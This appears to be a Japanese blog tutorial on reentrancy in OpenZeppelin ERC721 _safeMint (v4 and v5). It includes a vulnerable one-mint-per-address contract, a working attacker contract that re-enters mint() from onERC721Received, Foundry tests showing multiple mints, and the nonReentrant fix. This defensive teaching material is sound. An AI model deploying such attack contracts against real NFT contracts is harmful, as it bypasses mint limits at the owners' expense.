📘

Reentrancyについて

2023/10/31に公開

OpenZeppelin V5.0 をテスト回しながら読み解いていると、Reentrancy 対策されてる感じだったので、どうなっているかテストしながらチェックしていきたいと思います。

※結論的には、私の勘違いでした。ちゃんとReentrancyGuardしようねってことと、ロジックとかテストのやり方の説明になっちゃいました。

https://github.com/masahirodev/check-reentrancy

Reentrancy について

再入しちゃうよって話。具体例で説明していきます。

mint について

OZv4 の ERC721 の safeMint は下記のようになっています。

function _safeMint(address to, uint256 tokenId, bytes memory data) internal virtual {
    _mint(to, tokenId);
    require(
        _checkOnERC721Received(address(0), to, tokenId, data),
        "ERC721: transfer to non ERC721Receiver implementer"
    );
}

_mintを呼び出した後、_checkOnERC721Receivedでチェックをかけています。

では、_checkOnERC721Receivedは一体何をしているのか?

function _checkOnERC721Received(
    address from,
    address to,
    uint256 tokenId,
    bytes memory data
) private returns (bool) {
    if (to.isContract()) {
        try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) {
            return retval == IERC721Receiver.onERC721Received.selector;
        } catch (bytes memory reason) {
            if (reason.length == 0) {
                revert("ERC721: transfer to non ERC721Receiver implementer");
            } else {
                /// @solidity memory-safe-assembly
                assembly {
                    revert(add(32, reason), mload(reason))
                }
            }
        }
    } else {
        return true;
    }
}

ややこしいですね。分割してみていくと

if (to.isContract()) {
} else {
    return true;
}

toは送り先のアカウントで、isContract()extcodesizeをチェックしてます。
簡単に言うと、toがコントラクトアカウントだったら OK、そうじゃなかったら NG ということですね。

引き続き、NG ルートを見ていきます。

try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) {
    return retval == IERC721Receiver.onERC721Received.selector;
} catch () {}

toアカウントのonERC721Receivedfunction を呼び出してますね。
oz が提供しているonERC721Receivedfunction は、下記のようになっていて、function の selector を返しています。

function onERC721Received(address, address, uint256, bytes calldata) external pure returns (bytes4) {
    return this.onERC721Received.selector;
}

function の selector ???

function の selector は、function の名前と引数をガッチャンこして、ハッシュ化して頭 4bytes 抜き出したもの。
function を識別している値と捉えてください。算出方法は、

bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"));

すなわち、0x150b7a02の固定値です。

つまりtoアカウントのonERC721Receivedを呼び出して、0x150b7a02が返ってきたら OK ということですね。

NG の場合は、単なるエラー処理です。(catch の中身)

まとめると、toがコントラクトアカウントもしくはonERC721Receivedを実装したコントラクトかどうかをチェックしています。

Reentrancy Attack

さっきのロジックがわかっていれば、Reentrancy Attack の実装は簡単です。

toアカウントのonERC721Receivedを呼び出すので、toアカウントのonERC721Receivedに悪さを仕込めばいいんです。

function onERC721Received(address, address, uint256, bytes calldata) external returns (bytes4) {
    try target.mint() {}
    catch Error(string memory reason) {
        reason = "Exploit complete!";
    }
    return 0x150b7a02;
    // bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"));
    // return this.onERC721Received.selector;
}

呼び出された時に、targetmintを呼び返しています。これでループできちゃいますね。

OpenZeppelin V4 に Reentrancy Attack

一人一回しか mint できないコントラクトを作ったとします。

src/TokenContractV4.sol
contract TokenContract is ERC721, ERC721Enumerable {
    uint256 private _nextTokenId;
    mapping(address => bool) isMinted;

    constructor() ERC721("Vulnerable", "VNFT") {}

    function mint() public payable {
        require(!isMinted[msg.sender], "Already minted!");
        uint256 tokenId = _nextTokenId++;
        _safeMint(msg.sender, tokenId);
        isMinted[msg.sender] = true;
    }
}

このコントラクトに対して下記のテスト(1 回目は mint できて、2 回目は mint できない)を行うと、当然成功します。

test/ExploitV4.t.sol
function testMultiMint() public onlyOwner {
    tokenContract.mint();

    vm.expectRevert("Already minted!");
    tokenContract.mint();
    assertEq(tokenContract.totalSupply(), 1);
}

ここで、Reentrancy Attack を仕掛けてみます。

src/AttackContract.sol
function onERC721Received(address, address, uint256, bytes calldata) external returns (bytes4) {
    try target.mint() {}
    catch Error(string memory reason) {
        reason = "Exploit complete!";
    }
    return 0x150b7a02;
}

function exploit() external {
    target.mint();
}
test/ExploitV4.t.sol
function testExploit() public {
    attackContract.exploit();
    assertGt(tokenContract.balanceOf(address(attackContract)), 1);
    console2.logUint(tokenContract.balanceOf(address(attackContract)));
}

1 枚ではなく複数枚 mint できちゃいましたね!これは問題!

Reentrancy Guard

対策として、Reentrancy Guard があります。

src/TokenContractV4Guard.sol
function mint() public payable nonReentrant {
    require(!isMinted[msg.sender], "Already minted!");
    uint256 tokenId = _nextTokenId++;
    _safeMint(msg.sender, tokenId);
    isMinted[msg.sender] = true;
}

nonReentrantをつけるだけ。Guard されて 1 枚しか mint できないので、テストコードをassertGtからassertEqに変えてます。
(testFailExploit()の方が親切だった?)

test/ExploitGuard.t.sol
function testExploit() public {
    attackContract.exploit();
    // assertGt -> assertEq
    assertEq(tokenContract.balanceOf(address(attackContract)), 1);
    console2.logUint(tokenContract.balanceOf(address(attackContract)));
}

ちゃんとガードできてますね!

OpenZeppelin V5

ようやく本題に!早速 Reentrancy Attack を仕掛けてみます。

すると、ERC721InvalidReceiver(0x2e234DAe75C793f67A35089C9d99245E1C58470b)というエラーが返ってきます。

safeMint

safeMint 周辺は変更点なさそうですね。

function _safeMint(address to, uint256 tokenId, bytes memory data) internal virtual {
    _mint(to, tokenId);
    _checkOnERC721Received(address(0), to, tokenId, data);
}

では、次に_checkOnERC721Receivedをチェックしてみます。

function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory data) private {
    if (to.code.length > 0) {
        try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) {
            if (retval != IERC721Receiver.onERC721Received.selector) {
                revert ERC721InvalidReceiver(to);
            }
        } catch (bytes memory reason) {
            if (reason.length == 0) {
                revert ERC721InvalidReceiver(to);
            } else {
                /// @solidity memory-safe-assembly
                assembly {
                    revert(add(32, reason), mload(reason))
                }
            }
        }
    }
}

isContract()が書き換わっていますが、これは isContract()が無くなったためで関係ありません。

ふむ・・・。何も大きく変わってない???(ここまで書いてから気づきました・・。)

とりあえず、attack コントラクトを少し改造してみると・・・

src/AttackContractV5.sol
function onERC721Received(address, address, uint256, bytes calldata) external returns (bytes4) {
    try target.mint() {}
    catch {
        return 0x150b7a02;
    }
    return 0x150b7a02;
}

あっさり通ってしまいました・・・。V5 もちゃんとReentrancyGuardつけましょう・・。


いかがだったでしょうか?

Reentrancy 問題については、古くから注目されているので今更感満載ですが・・・。

もし記事があなたのお役に立ったなら、ぜひ「いいね!」ボタンをクリックしてくださいね。

Discussion